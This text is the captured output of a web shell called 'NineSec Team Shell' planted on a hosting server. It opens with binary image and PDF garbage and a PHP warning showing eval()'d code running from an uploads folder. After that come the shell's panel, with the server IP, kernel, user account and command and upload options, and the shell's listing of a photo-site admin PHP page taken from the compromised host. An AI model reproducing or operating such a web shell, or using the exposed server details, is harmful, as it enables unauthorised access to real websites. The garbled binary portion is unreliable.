JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/pinkrosesentertainment.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/pinkrosesentertainment.com/public_html/manage_submissions.php
<?php
include 'db_connect.php';
session_start();
if (!isset($_SESSION['admin_logged_in'])) {
    header("Location: login.php");
    exit;
}
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Handle delete
if (isset($_GET['delete'])) {
    $id = intval($_GET['delete']);
    $query = $conn->query("SELECT * FROM photo_submissions WHERE id = $id");
    $row = $query->fetch_assoc();

    if ($row) {
        for ($i = 1; $i <= 4; $i++) {
            $photo = $row["photo$i"];
            if (!empty($photo) && file_exists("uploads/$photo")) {
                unlink("uploads/$photo");
            }
        }
        $conn->query("DELETE FROM photo_submissions WHERE id = $id");
        echo "<p style='color:green;'>Deleted successfully!</p>";
    }
}

// Feature
if (isset($_GET['feature'])) {
    $id = intval($_GET['feature']);
    $conn->query("UPDATE photo_submissions SET is_featured = 1 WHERE id = $id");
}

// Unfeature
if (isset($_GET['unfeature'])) {
    $id = intval($_GET['unfeature']);
    $conn->query("UPDATE photo_submissions SET is_featured = 0 WHERE id = $id");
}

// Fetch data
$result = $conn->query("SELECT * FROM photo_submissions ORDER BY id DESC");
?>

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Photo Submissions</title>
    <script src="https://unpkg.com/lucide@latest/dist/umd/lucide.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.7/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-LN+7fdVzj6u52u30Kp6M/trliBMCMKTyK833zpbD+pXdCLuTusPj697FH4R/5mcr" crossorigin="anonymous">
    <style>
        :root {
            --color-slate-50: #f8fafc;
            --color-slate-300: #cbd5e1;
            --color-slate-400: #94a3b8;
            --color-slate-500: #64748b;
            /* Added for general text */
            --color-slate-700: #334155;
            --color-slate-800: #1e293b;
            --color-slate-900: #0f172a;
            /* Main background */
            --color-slate-950: #020617;
            /* Darker background */
            --color-gray-50: #f9fafb;
            --color-gray-100: #f3f4f6;
            --color-gray-200: #e5e7eb;
            --color-gray-700: #374151;
            --color-gray-800: #1f2937;
            --color-gray-900: #111827;

            --color-pink-300: #fbcfe8;
            --color-pink-500: #ec4899;
            --color-pink-accent-dark: #fda4af;
            /* Lighter pink for dark mode active */

            --color-blue-400: #60a5fa;
            --color-blue-500: #3b82f6;
            --color-green-500: #22c55e;
            --color-yellow-500: #eab308;
            --color-purple-500: #a855f7;
            --color-red-400: #f87171;
            --color-red-500: #ef4444;
            --color-red-600: #dc2626;
            --color-red-900: #7f1d1d;
            --color-indigo-600: #4f46e5;
            --color-indigo-900: #312e81;

            --shadow-md: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
            --shadow-lg: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
            --shadow-xl: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
            --transition-duration: 300ms;
            --border-radius-sm: 0.25rem;
            /* rounded-md */
            --border-radius-lg: 0.5rem;
            /* rounded-lg */
            --border-radius-xl: 0.75rem;
            /* rounded-xl */
            --border-radius-full: 9999px;
            /* rounded-full */
        }

        /* Custom scrollbar for better aesthetics */
        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }

        ::-webkit-scrollbar-track {
            background: var(--color-slate-800);
        }

        ::-webkit-scrollbar-thumb {
            background: var(--color-slate-700);
            border-radius: 4px;
        }

        ::-webkit-scrollbar-thumb:hover {
            background: var(--color-slate-600);
        }

        /* Set Inter font */
        body {
            font-family: 'Inter', sans-serif;
            margin: 0;
            padding: 0;
            -webkit-font-smoothing: antialiased;
            -moz-osx-font-smoothing: grayscale;
        }

        /* Root container */
        #root {
            display: flex;
            min-height: 100vh;
            /* Use min-height to allow content to expand */
            background-color: var(--color-gray-100);
            color: var(--color-gray-900);
            transition: background-color var(--transition-duration), color var(--transition-duration);
        }

        /* Dark Mode styles */
        html.dark body {
            background-color: var(--color-slate-950);
            color: var(--color-slate-50);
        }

        html.dark #root {
            background-color: var(--color-slate-950);
        }

        html.dark .bg-gray-100 {
            background-color: var(--color-slate-950);
        }

        html.dark .bg-gray-200 {
            background-color: var(--color-slate-800);
        }

        html.dark .bg-white {
            background-color: var(--color-slate-800);
        }

        html.dark .bg-gray-800 {
            background-color: var(--color-slate-900);
        }

        /* Sidebar background */
        html.dark .bg-gray-900 {
            background-color: var(--color-slate-950);
        }

        html.dark .text-gray-900 {
            color: var(--color-slate-50);
        }

        html.dark .text-gray-700 {
            color: var(--color-slate-300);
        }

        html.dark .text-gray-500 {
            color: var(--color-slate-400);
        }

        html.dark .shadow-md {
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.12);
        }

        html.dark .border-gray-200 {
            border-color: var(--color-slate-700);
        }

        /* Sidebar styles */
        #sidebar {
            position: fixed;
            top: 0;
            left: 0;
            bottom: 0;
            width: 16rem;
            /* w-64 */
            background-color: var(--color-gray-800);
            color: white;
            display: flex;
            flex-direction: column;
            padding: 1rem;
            /* p-4 */
            box-shadow: var(--shadow-lg);
            transform: translateX(-100%);
            transition: transform var(--transition-duration) ease-in-out;
            z-index: 30;
            border-top-right-radius: var(--border-radius-xl);
            border-bottom-right-radius: var(--border-radius-xl);
        }

        #sidebar.sidebar-open {
            transform: translateX(0);
        }

        #sidebar .logo-container {
            display: flex;
            align-items: center;
            justify-content: center;
            height: 4rem;
            /* h-16 */
            margin-bottom: 1.5rem;
            /* mb-6 */
        }

        #sidebar .logo-container img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            border-radius: var(--border-radius-full);
            margin-right: 0.75rem;
            /* mr-3 */
            border: 2px solid var(--color-pink-300);
            box-shadow: var(--shadow-md);
        }

        #sidebar .logo-container h1 {
            font-size: 1.5rem;
            /* text-2xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-pink-300);
            letter-spacing: -0.025em;
            /* tracking-wider */
        }

        #sidebar nav {
            flex: 1;
            /* flex-1 */
            margin-top: 0.5rem;
            /* space-y-2 */
        }

        #sidebar .nav-item {
            display: flex;
            align-items: center;
            padding: 0.75rem 1rem;
            /* px-4 py-3 */
            font-size: 1.125rem;
            /* text-lg */
            font-weight: 500;
            /* font-medium */
            border-radius: var(--border-radius-lg);
            color: white;
            text-decoration: none;
            transition: background-color var(--transition-duration), box-shadow var(--transition-duration), color var(--transition-duration);
            margin-bottom: 0.5rem;
        }

        #sidebar .nav-item:hover {
            background-color: var(--color-gray-700);
        }

        #sidebar .nav-item:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        #sidebar .nav-item i {
            width: 1.5rem;
            /* w-6 */
            height: 1.5rem;
            /* h-6 */
            margin-right: 0.75rem;
            /* mr-3 */
            color: white;
            /* Default icon color */
        }

        /* Active navigation item styling */
        .active-nav-item {
            background-color: var(--color-gray-100);
            color: var(--color-pink-500);
            box-shadow: var(--shadow-md);
        }

        .active-nav-item i {
            color: var(--color-pink-500);
        }

        html.dark .active-nav-item {
            background-color: var(--color-slate-700);
            color: var(--color-pink-accent-dark);
            box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.2), 0 2px 4px -1px rgba(0, 0, 0, 0.12);
        }

        html.dark .active-nav-item i {
            color: var(--color-pink-accent-dark);
        }

        /* Logout button */
        #sidebar .logout-container {
            margin-top: auto;
            /* mt-auto */
            padding-top: 1.5rem;
            /* pt-6 */
            border-top: 1px solid var(--color-gray-700);
        }

        #sidebar .logout-container a {
            color: var(--color-red-400);
        }

        #sidebar .logout-container a:focus {
            box-shadow: 0 0 0 2px var(--color-red-500);
        }

        /* Main Content Area */
        .main-content-area {
            flex: 1;
            /* flex-1 */
            display: flex;
            flex-direction: column;
            margin-left: 0;
            /* Default mobile margin */
            overflow: hidden;
            transition: margin-left var(--transition-duration) ease-in-out;
        }

        /* Header styles */
        header {
            background-color: white;
            padding: 1rem;
            /* p-4 */
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-left: 0;
            box-shadow: var(--shadow-md);
            border-bottom-left-radius: var(--border-radius-xl);
            border-bottom-right-radius: var(--border-radius-xl);
            z-index: 20;
        }

        #sidebar-toggle {
            display: block;
            /* md:hidden equivalent for mobile */
            padding: 0.5rem;
            /* p-2 */
            border-radius: var(--border-radius-lg);
            color: var(--color-gray-700);
            background-color: transparent;
            border: none;
            cursor: pointer;
            transition: background-color var(--transition-duration);
        }

        #sidebar-toggle:hover {
            background-color: var(--color-gray-200);
        }

        #sidebar-toggle:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        #page-title {
            font-size: 1.875rem;
            /* text-3xl */
            font-weight: 800;
            /* font-extrabold */
            color: var(--color-gray-800);
            letter-spacing: -0.025em;
            /* tracking-tight */
        }

        .user-profile-notifications {
            display: flex;
            align-items: center;
            gap: 1rem;
            /* space-x-4 */
        }

        .user-profile-notifications button {
            padding: 0.5rem;
            /* p-2 */
            border-radius: var(--border-radius-lg);
            color: var(--color-gray-700);
            background-color: transparent;
            border: none;
            cursor: pointer;
            transition: background-color var(--transition-duration);
        }

        .user-profile-notifications button:hover {
            background-color: var(--color-gray-200);
        }

        .user-profile-notifications button:focus {
            outline: none;
            box-shadow: 0 0 0 2px var(--color-pink-500);
        }

        .user-profile-dropdown {
            position: relative;
            display: inline-block;
            /* group */
        }

        .user-profile-dropdown>img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            border-radius: var(--border-radius-full);
            cursor: pointer;
            border: 2px solid var(--color-blue-400);
            box-shadow: 0 1px 2px 0 rgba(0, 0, 0, 0.05);
            /* shadow-sm */
        }

        .user-profile-dropdown .dropdown-content {
            position: absolute;
            right: 0;
            margin-top: 0.5rem;
            /* mt-2 */
            width: 12rem;
            /* w-48 */
            background-color: white;
            border-radius: var(--border-radius-md);
            box-shadow: var(--shadow-lg);
            padding: 0.5rem 0;
            /* py-2 */
            display: none;
            /* hidden */
            transition: all var(--transition-duration) ease-in-out;
            opacity: 0;
            transform: translateY(-0.5rem);
        }

        .user-profile-dropdown:hover .dropdown-content {
            display: block;
            opacity: 1;
            transform: translateY(0);
        }

        .user-profile-dropdown .dropdown-content a {
            display: block;
            padding: 0.5rem 1rem;
            /* px-4 py-2 */
            color: var(--color-gray-700);
            text-decoration: none;
            border-radius: var(--border-radius-md);
        }

        .user-profile-dropdown .dropdown-content a:hover {
            background-color: var(--color-gray-100);
        }

        .user-profile-dropdown .dropdown-content .divider {
            border-top: 1px solid var(--color-gray-200);
            margin: 0.25rem 0;
            /* my-1 */
        }

        .user-profile-dropdown .dropdown-content a.logout-link {
            color: var(--color-red-500);
        }


        /* Main content area */
        main {
            flex: 1;
            /* flex-1 */
            overflow-x: hidden;
            overflow-y: auto;
            background-color: var(--color-gray-200);
            padding: 1.5rem;
            /* p-6 */
        }

        /* Section styles */
        .content-section {
            display: none;
            /* hidden by default */
            margin-top: 2rem;
            /* space-y-8 */
            /* Removed fixed margin-left */
        }

        .content-section.active-section {
            display: block;
        }

        .content-section>*:not(:last-child) {
            margin-bottom: 2rem;
            /* Equivalent to space-y-8 */
        }

        .grid-stats {
            display: grid;
            grid-template-columns: 1fr;
            gap: 1.5rem;
            /* gap-6 */
        }

        .stat-card {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
            transition: box-shadow var(--transition-duration);
        }

        .stat-card:hover {
            box-shadow: var(--shadow-xl);
        }

        .stat-card-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 1rem;
            /* mb-4 */
        }

        .stat-card-header h3 {
            font-size: 1.125rem;
            /* text-lg */
            font-weight: 600;
            /* font-semibold */
            color: var(--color-gray-700);
        }

        .stat-card-header i {
            width: 2rem;
            /* w-8 */
            height: 2rem;
            /* h-8 */
        }

        .stat-card p:first-of-type {
            /* The large number */
            font-size: 2.25rem;
            /* text-4xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-900);
        }

        .stat-card p:last-of-type {
            /* The smaller text below number */
            font-size: 0.875rem;
            /* text-sm */
            color: var(--color-gray-500);
            margin-top: 0.5rem;
            /* mt-2 */
        }

        /* Specific icon colors */
        .stat-card-blue i {
            color: var(--color-blue-500);
        }

        .stat-card-green i {
            color: var(--color-green-500);
        }

        .stat-card-yellow i {
            color: var(--color-yellow-500);
        }

        .stat-card-purple i {
            color: var(--color-purple-500);
        }

        .activity-card,
        .chart-card {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
        }

        .activity-card h3,
        .chart-card h3 {
            font-size: 1.25rem;
            /* text-xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-800);
            margin-bottom: 1rem;
            /* mb-4 */
        }

        .activity-card ul {
            list-style: none;
            padding: 0;
            margin: 0;
        }

        .activity-card ul li {
            display: flex;
            align-items: center;
            color: var(--color-gray-700);
            margin-bottom: 1rem;
            /* space-y-4 */
        }

        .activity-card ul li:last-child {
            margin-bottom: 0;
        }

        .activity-card ul li span:first-of-type {
            /* color dot */
            display: inline-block;
            width: 0.75rem;
            /* w-3 */
            height: 0.75rem;
            /* h-3 */
            border-radius: var(--border-radius-full);
            margin-right: 0.75rem;
            /* mr-3 */
        }

        .activity-card ul li .activity-text {
            color: var(--color-gray-900);
            font-weight: 600;
            /* font-semibold */
            margin-left: 0.25rem;
            /* ml-1 */
        }

        .activity-card ul li .activity-time {
            color: var(--color-gray-500);
            font-size: 0.875rem;
            /* text-sm */
            margin-left: auto;
            /* ml-auto */
        }

        .activity-card ul li .bg-green-500 {
            background-color: var(--color-green-500);
        }

        .activity-card ul li .bg-blue-500 {
            background-color: var(--color-blue-500);
        }

        .activity-card ul li .bg-yellow-500 {
            background-color: var(--color-yellow-500);
        }

        .activity-card ul li .bg-red-500 {
            background-color: var(--color-red-500);
        }

        .activity-card ul li .bg-purple-500 {
            background-color: var(--color-purple-500);
        }


        .chart-placeholder {
            color: var(--color-gray-700);
            height: 8rem;
            /* h-32 */
            display: flex;
            align-items: center;
            justify-content: center;
            background-color: var(--color-gray-100);
            border-radius: var(--border-radius-lg);
            border: 1px dashed var(--color-gray-300);
        }

        .chart-placeholder p {
            color: var(--color-gray-500);
        }

        .top-content-views ul {
            list-style: none;
            padding: 0;
            margin: 0;
            margin-top: 1.5rem;
            /* mt-6 */
        }

        .top-content-views ul li {
            color: var(--color-gray-700);
            margin-bottom: 0.5rem;
            /* space-y-2 */
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .top-content-views ul li span {
            color: var(--color-gray-600);
        }

        /* Table specific styles for the Users section */
        .table-container {
            background-color: white;
            padding: 1.5rem;
            /* p-6 */
            border-radius: var(--border-radius-xl);
            box-shadow: var(--shadow-lg);
            border: 1px solid var(--color-gray-200);
            overflow-x: auto;
            /* For responsive tables */
        }

        .table-container h3 {
            font-size: 1.25rem;
            /* text-xl */
            font-weight: 700;
            /* font-bold */
            color: var(--color-gray-800);
            margin-bottom: 1rem;
            /* mb-4 */
        }

        table {
            width: 100%;
            border-collapse: collapse;
            text-align: left;
            font-size: 0.875rem;
            /* text-sm */
        }

        thead {
            background-color: var(--color-gray-50);
            font-weight: 600;
            color: var(--color-gray-700);
            text-transform: uppercase;
            letter-spacing: 0.05em;
            /* tracking-wider */
        }

        th,
        td {
            padding: 0.75rem 1rem;
            /* px-4 py-3 */
            border-bottom: 1px solid var(--color-gray-200);
            color: var(--color-gray-900);
            vertical-align: middle;
        }

        td img {
            width: 2.5rem;
            /* w-10 */
            height: 2.5rem;
            /* h-10 */
            object-fit: cover;
            border-radius: var(--border-radius-md);
            /* rounded-md */
            border: 1px solid var(--color-gray-200);
        }

        .action a {
            color: var(--color-indigo-600);
            text-decoration: none;
            margin-right: 0.75rem;
            /* mr-3 */
            font-weight: 500;
            transition: color var(--transition-duration);
        }

        .action a:hover {
            color: var(--color-indigo-900);
        }

        .action a.delete-link {
            color: var(--color-red-600);
        }

        .action a.delete-link:hover {
            color: var(--color-red-900);
        }

        html.dark .table-container {
            background-color: var(--color-slate-800);
            border-color: var(--color-slate-700);
        }

        html.dark .table-container h3 {
            color: var(--color-slate-50);
        }

        html.dark thead {
            background-color: var(--color-slate-700);
            color: var(--color-slate-300);
        }

        html.dark th,
        html.dark td {
            border-color: var(--color-slate-700);
            color: var(--color-slate-300);
        }

        html.dark td img {
            border-color: var(--color-slate-700);
        }

        html.dark .action a {
            color: var(--color-blue-400);
        }

        html.dark .action a:hover {
            color: var(--color-blue-500);
        }

        html.dark .action a.delete-link {
            color: var(--color-red-400);
        }

        html.dark .action a.delete-link:hover {
            color: var(--color-red-500);
        }



        /* Responsive adjustments */
        @media (min-width: 768px) {

            /* md breakpoint */
            #sidebar {
                transform: translateX(0);
                /* md:translate-x-0 */
                border-radius: initial;
                /* md:rounded-none */
                position: relative;
                /* Change to relative for desktop to keep it in flow */
            }

            #sidebar-toggle {
                display: none;
                /* md:hidden */
            }

            .main-content-area {
                margin-left: 0rem;
                /* md:ml-64 */
            }

            header {
                border-radius: initial;
                /* md:rounded-none */
            }

            .grid-stats {
                grid-template-columns: repeat(2, 1fr);
                /* md:grid-cols-2 */
            }
        }

        @media (min-width: 1024px) {

            /* lg breakpoint */
            .grid-stats {
                grid-template-columns: repeat(4, 1fr);
                /* lg:grid-cols-4 */
            }

            .grid-activities-charts {
                display: grid;
                /* Added missing display:grid */
                grid-template-columns: repeat(3, 1fr);
                gap: 1.5rem;
                /* Ensure gap for grid */
                /* lg:grid-cols-3 */
            }

            .activity-card {
                grid-column: span 2 / span 2;
                /* lg:col-span-2 */
            }
        }


        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(20px);
            }

            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        .photo-grid {
            display: flex;
            flex-wrap: wrap;
            gap: 20px;
        }

        .submission-card {
            border: 1px solid #ccc;
            padding: 15px;
            width: 300px;
        }

        .submission-card img {
            width: 100%;
            height: auto;
            margin-bottom: 5px;
        }

        .action-btns a {
            margin-right: 10px;
        }
    </style>
</head>

<body>
    <div id="root">
        <aside id="sidebar">
            <div class="logo-container">
                <img src="https://placehold.co/40x40/FF69B4/FFFFFF?text=PR" alt="Pink Roses Logo">
                <h1>PinkRoses</h1>
            </div>

            <nav>
                <a href="admindashboard.php" class="nav-item">
                    <i data-lucide="layout-dashboard"></i>
                    Dashboard
                </a>

                <a href="photo-form.php" class="nav-item">
                    <i data-lucide="users"></i>
                    Update Image
                </a>

                <a href="manage_submissions.php" data-section="content" class="nav-item">
                    <i data-lucide="film"></i>
                    Manage Image
                </a>

                <a href="updates.php" data-section="analytics" class="nav-item">
                    <i data-lucide="camera"></i>
                    Updates
                </a>

            </nav>

            <div class="logout-container">
                <a href="logout.php" class="nav-item logout-link">
                    <i data-lucide="log-out"></i>
                    Logout
                </a>
            </div>
        </aside>
        <div class="main-content-area">
            <header>
                <button id="sidebar-toggle" class="sidebar-toggle-btn">
                    <i data-lucide="menu"></i>
                </button>
                <h2 id="page-title">All Photo Submissions</h2>
            </header>
            <main>
                <div class="photo-grid">
                    <?php while ($row = $result->fetch_assoc()): ?>
                        <div class="submission-card">
                            <p><strong>ID:</strong> <?= $row['id'] ?> | <strong>Year:</strong> <?= $row['year'] ?></p>
                            <?php for ($i = 1; $i <= 4; $i++): ?>
                                <?php if (!empty($row["photo$i"])): ?>
                                    <img src="uploads/<?= htmlspecialchars($row["photo$i"]) ?>" alt="Photo <?= $i ?>">
                                <?php endif; ?>
                            <?php endfor; ?>
                            <p><strong>Created:</strong> <?= $row['created_at'] ?></p>
                            <div class="action-btns">
                                <a href="?delete=<?= $row['id'] ?>" class="btn btn-warning" onclick="return confirm('Delete this submission?')">🗑️ Delete</a>
                                <?php if ($row['is_featured']): ?>
                                    <a href="?unfeature=<?= $row['id'] ?>" class="btn btn-danger" style="color: white;"> Unfeature</a>
                                <?php else: ?>
                                    <a href="?feature=<?= $row['id'] ?>" class="btn btn-success" style="color: white;"> Feature</a>
                                <?php endif; ?>
                            </div>
                        </div>
                    <?php endwhile; ?>
                </div>
            </main>
        </div>
    </div>

<script>
        // Initialize Lucide icons
        lucide.createIcons();

        const sidebar = document.getElementById('sidebar');
        const sidebarToggle = document.getElementById('sidebar-toggle');
        const navItems = document.querySelectorAll('.nav-item');
        const contentSections = document.querySelectorAll('.content-section');
        const pageTitle = document.getElementById('page-title');
        const mainContent = document.querySelector('.main-content-area');

        // Open sidebar
        const openSidebar = () => {
            sidebar.classList.remove('sidebar-closed');
            sidebar.classList.add('sidebar-open');
        };

        // Close sidebar
        const closeSidebar = () => {
            sidebar.classList.remove('sidebar-open');
            sidebar.classList.add('sidebar-closed');
        };

        // Sidebar toggle button
        sidebarToggle?.addEventListener('click', () => {
            if (sidebar.classList.contains('sidebar-closed')) {
                openSidebar();
            } else {
                closeSidebar();
            }
        });

        // Click outside sidebar on mobile
        document.addEventListener('click', (e) => {
            if (!sidebar.contains(e.target) && !sidebarToggle?.contains(e.target) && window.innerWidth < 768) {
                closeSidebar();
            }
        });


        const inputs = document.querySelectorAll('input[type="file"]');
        const previewContainer = document.getElementById('preview');

        inputs.forEach(input => {
            input.addEventListener('change', (event) => {
                const files = event.target.files;
                previewContainer.innerHTML = ""; // Clear previous previews

                Array.from(files).forEach(file => {
                    const reader = new FileReader();
                    reader.onload = e => {
                        const img = document.createElement('img');
                        img.src = e.target.result;
                        previewContainer.appendChild(img);
                    };
                    reader.readAsDataURL(file);
                });
            });
        });

        // Navigation logic
        navItems.forEach(item => {
            item.addEventListener('click', (e) => {
                const href = item.getAttribute('href');

                // Only prevent default if it's a section/tab link
                if (href === '#') {
                    e.preventDefault();

                    navItems.forEach(nav => nav.classList.remove('active-nav-item'));
                    item.classList.add('active-nav-item');

                    const targetSectionId = item.getAttribute('data-section') + '-section';
                    contentSections.forEach(section => section.classList.remove('active-section'));

                    const targetSection = document.getElementById(targetSectionId);
                    if (targetSection) {
                        targetSection.classList.add('active-section');
                        pageTitle.textContent = item.textContent.trim() + ' Overview';
                    }

                    if (window.innerWidth < 768) closeSidebar();
                }
            });
        });

        // Set default section on load
        document.addEventListener('DOMContentLoaded', () => {
            const defaultNavItem = document.querySelector('.nav-item[data-section="dashboard"]');
            const defaultSection = document.getElementById('dashboard-section');

            defaultNavItem?.classList.add('active-nav-item');
            defaultSection?.classList.add('active-section');
            // pageTitle.textContent = 'Dashboard Overview';

            adjustMainContentMargin();
        });

        // Adjust layout on resize
        const adjustMainContentMargin = () => {
            if (!mainContent) return;

            if (window.innerWidth >= 768) {
                mainContent.style.marginLeft = '0rem'; // 256px
                openSidebar();
            } else {
                mainContent.style.marginLeft = '0';
                closeSidebar();
            }
        };

        window.addEventListener('resize', adjustMainContentMargin);
    </script>
</body>

</html>

NineSec Team - 2022